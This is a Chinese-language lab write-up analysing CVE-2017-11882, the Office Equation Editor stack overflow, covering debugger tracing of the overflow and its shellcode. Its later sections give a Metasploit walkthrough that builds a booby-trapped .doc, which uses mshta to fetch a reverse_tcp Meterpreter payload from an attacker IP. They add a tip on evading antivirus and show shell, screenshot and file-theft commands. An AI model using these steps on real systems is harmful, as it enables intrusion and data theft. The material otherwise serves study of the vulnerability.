漏洞分析之 CVE-2017-11882
目录
目录
☛ 漏洞介绍
☛ 漏洞分析
☛ 1.漏洞分析环境与工具
☛ 2.获取 Poc[点击🔗]
☛ 3.复现漏洞
☛ 4.分析漏洞
☛ 5.漏洞利用
☛ 6.利用漏洞2
☛ 总结
☛ 参考资料
完成时间:2018-10-23 10:24:05 星期二
☛ 漏洞介绍
-
安全公司
Embedi
最早报告了漏洞,其出现在一个老旧的微软工具 Equation Editor 中 的EQNEDT32.EXE
可执行程序,这套工具的作用是插入数学公式,虽然在 Office 2007 后 就被取代,但出于早期兼容性的考虑得以仍然保留
-
漏洞影响的版本
- Office 365
- Microsoft Office 2000
- Microsoft Office 2003
- Microsoft Office 2007 Service Pack 3
- Microsoft Office 2010 Service Pack 2
- Microsoft Office 2013 Service Pack 1
- Microsoft Office 2016
-
文件信息
在 PEiD 中可以发现,程序发布与 2000 年,编译器使用的VC++ 4.2
☛ 漏洞分析
☛ 1.漏洞分析环境与工具
操作系统:Window 7 专业版 (32 位)
软件:office 2003 sp3
工具:Ollydbg,windbg,IDA Pro
OfficeMalScanner,python 模块 oletools(rtfobj)
☛ 2.获取 Poc[点击🔗]
☛ 3.复现漏洞
1.搭建漏洞环境(安装 office2003 sp3:完整安装),执行漏洞 poc
2.由于漏洞出现在 EQNEDT32.EXE 进程,开启 word 之后,需要先开启一下公 式编辑器
3.菜单-插入-对象,找到公式 3.0(如果没有说明 office 安装不完全)
4.复现漏洞效果
当运行文档时,Word会自动弹出系统计算器,我们可以依此作为突破口进行分析
☛ 4.分析漏洞
1.定位漏洞函数,及漏洞触发时的操作,由于会弹出计算器,可以在创建进程CreateProcessA
CreateProcesW
WinExec
处下断点
-
程序在 WinExec API断下,可以分析堆栈信息(向上分析:上一层的函数),可以看到一个地址
0x411837
,一般就可认为这个地址所在的函数应该就是溢出函数或溢出函数所在的函数
-
找到地址 0x411837 的函数开始的地方
0x41160F
重新运行分析,断下之后,跟踪分析,发现覆盖堆栈的代码就是这个函数(0x41160F);调式函数内部,找到覆盖代码操作的是0x411658
处的指令
2.分析漏洞成因(即 Shellcode
)
-
根据图中
"cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA"
可知计算器是通过cmd
指令运行起来的
3.分析 Shellcode
Shellcode的长度 44 + 4:44位执行命名字符串,4位返回地址
☛ 5.漏洞利用
1.漏洞利用步骤:
- 1.定立目标:弹出一个网页
- 2.编写Shellcode:修改样本中的执行字符串(注意字符串长度)
改成:cmd.exe /c explorer.exe http://www.15pb.com&
☛ 6.利用漏洞2
1.漏洞利用步骤
- 1.准备环境
- 2.使用 Kali metasploit 生成后门木马
- 3.在 Windows7 上运行后门木马
- 4.在 metaslpoit 中链接之后,操作后门
2.准备环境
-
1.更新 Metasploit
/> apt update
/> apt install metasploit-framework -
2.拷贝模块文件到以下目录(cve-2017-11882.rb:漏洞模块、负责与样本通信)
/> cd Desktop
/> cp cve-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat -
3.拷贝生成样本的 python 脚本到桌面(CVE-2017-11882.py)
3.使用Kali Metasploit 准备好后门、监听程序、开始攻击
- 1.进入metasploit-framework
/> msfconsole
- 2.search 漏洞利用模块
/> search cve-2017-11882
- 3.使用对应漏洞利用模块
/> use exploit/windows/fileformat/cve-2017-11882
- 4.设置漏洞利用信息,包括 payload 类型、IP、端口等
/> set payload windows/meterpreter/reverse_tcp
/> show options(显示必要设置的选项,查看有无漏项)
/> set lhost 192.168.174.129(Kali系统的IP)
/> set lport 4444
/> set uripath 11882
/> show options(显示必要设置的选项,查看有无漏项)
- 5.重开一个Terminal,使用 CVE-2017-11882,py 脚本样本(IP必须是 Kali虚拟机的IP;虚拟路径必须是刚刚设置好的 uripath 的路径)
/> cd Desktop
/> python CVE-2017-11882.py -c "mshta http://192.168.174.129:8080/11882" -o 11882.doc - 6.开始攻击
4.在 Windows7 上运行后门木马
- 拷贝后门时,注意压缩,否则有可能被杀
5.在 metasploit 中链接之后,操作后门
-
1.使用 sessions 1 进入 sessions,开始操作后门
-
2.使用命令进入 shell
/> shell
-
3.使用命令 screenshot 截图
/> screenshot
-
4.使用命令 download 下载文件到指定路径
/> download C:/1111.txt /root/Desktop
☛ 总结
- Office 漏洞很多,大多数都是
栈溢出
,层出不穷 - CVE-2017-11882 是一个 2000 年就存在的
陈年老洞
☛ 参考资料
◈安全公司 Embedi 的分析文档
◈http://www.freebuf.com/vuls/154298.html
◈https://www.anquanke.com/post/id/87311
◈https://www.anquanke.com/post/id/87284
◈https://www.jianshu.com/p/512fa0b3b801